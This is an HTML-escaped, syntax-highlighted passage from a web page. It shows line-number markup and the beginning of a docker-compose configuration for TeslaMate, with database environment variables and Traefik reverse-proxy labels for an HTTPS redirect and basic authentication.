&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt; 36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt; 37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt; 38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt; 39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt; 40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt; 41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt; 42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt; 43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt; 44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt; 45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt; 46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt; 47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt; 48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt; 49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt; 50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt; 51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt; 52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt; 53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt; 54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt; 55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt; 56&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;57&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#57&#34;&gt; 57&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;58&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#58&#34;&gt; 58&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;59&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#59&#34;&gt; 59&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;60&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#60&#34;&gt; 60&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;61&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#61&#34;&gt; 61&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;62&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#62&#34;&gt; 62&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;63&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#63&#34;&gt; 63&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;64&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#64&#34;&gt; 64&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;65&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#65&#34;&gt; 65&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;66&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#66&#34;&gt; 66&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt; 67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt; 68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt; 69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt; 70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt; 71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt; 72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt; 73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt; 74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt; 75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt; 76&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;77&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#77&#34;&gt; 77&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;78&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#78&#34;&gt; 78&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;79&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#79&#34;&gt; 79&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;80&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#80&#34;&gt; 80&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;81&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#81&#34;&gt; 81&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;82&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#82&#34;&gt; 82&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;83&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#83&#34;&gt; 83&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;84&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#84&#34;&gt; 84&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;85&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#85&#34;&gt; 85&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;86&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#86&#34;&gt; 86&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;87&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#87&#34;&gt; 87&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;88&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#88&#34;&gt; 88&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;89&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#89&#34;&gt; 89&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;90&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#90&#34;&gt; 90&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;91&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#91&#34;&gt; 91&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;92&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#92&#34;&gt; 92&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;93&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#93&#34;&gt; 93&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;94&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#94&#34;&gt; 94&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;95&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#95&#34;&gt; 95&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;96&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#96&#34;&gt; 96&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;97&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#97&#34;&gt; 97&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;98&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#98&#34;&gt; 98&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;99&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#99&#34;&gt; 99&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;100&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#100&#34;&gt;100&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;101&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#101&#34;&gt;101&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;102&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#102&#34;&gt;102&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;103&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#103&#34;&gt;103&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;104&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#104&#34;&gt;104&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;105&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#105&#34;&gt;105&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;106&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#106&#34;&gt;106&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;107&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#107&#34;&gt;107&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;108&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#108&#34;&gt;108&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;109&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#109&#34;&gt;109&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;110&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#110&#34;&gt;110&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;111&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#111&#34;&gt;111&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;version&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;teslamate&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;image&lt;/span&gt;: teslamate/teslamate:latest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;restart&lt;/span&gt;: always
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;depends_on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - database
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_USER=${TM_DB_USER}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_PASS=${TM_DB_PASS}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_NAME=${TM_DB_NAME}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - DATABASE_HOST=database
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - MQTT_HOST=mosquitto
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - VIRTUAL_HOST=${FQDN_TM}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - CHECK_ORIGIN=true
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - TZ=${TM_TZ}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - ./import:/opt/app/import
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;labels&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.enable=true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.port=4000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.middlewares.redirect.redirectscheme.scheme=https&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.middlewares.teslamate-auth.basicauth.realm=teslamate&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.middlewares.teslamate-auth.basicauth.usersfile=/auth/.htpasswd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate-insecure.rule=Host(`${FQDN_TM}`)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;traefik.http.routers.teslamate-insecure.middlewares=redirect&amp;#34;&lt;/span&gt;
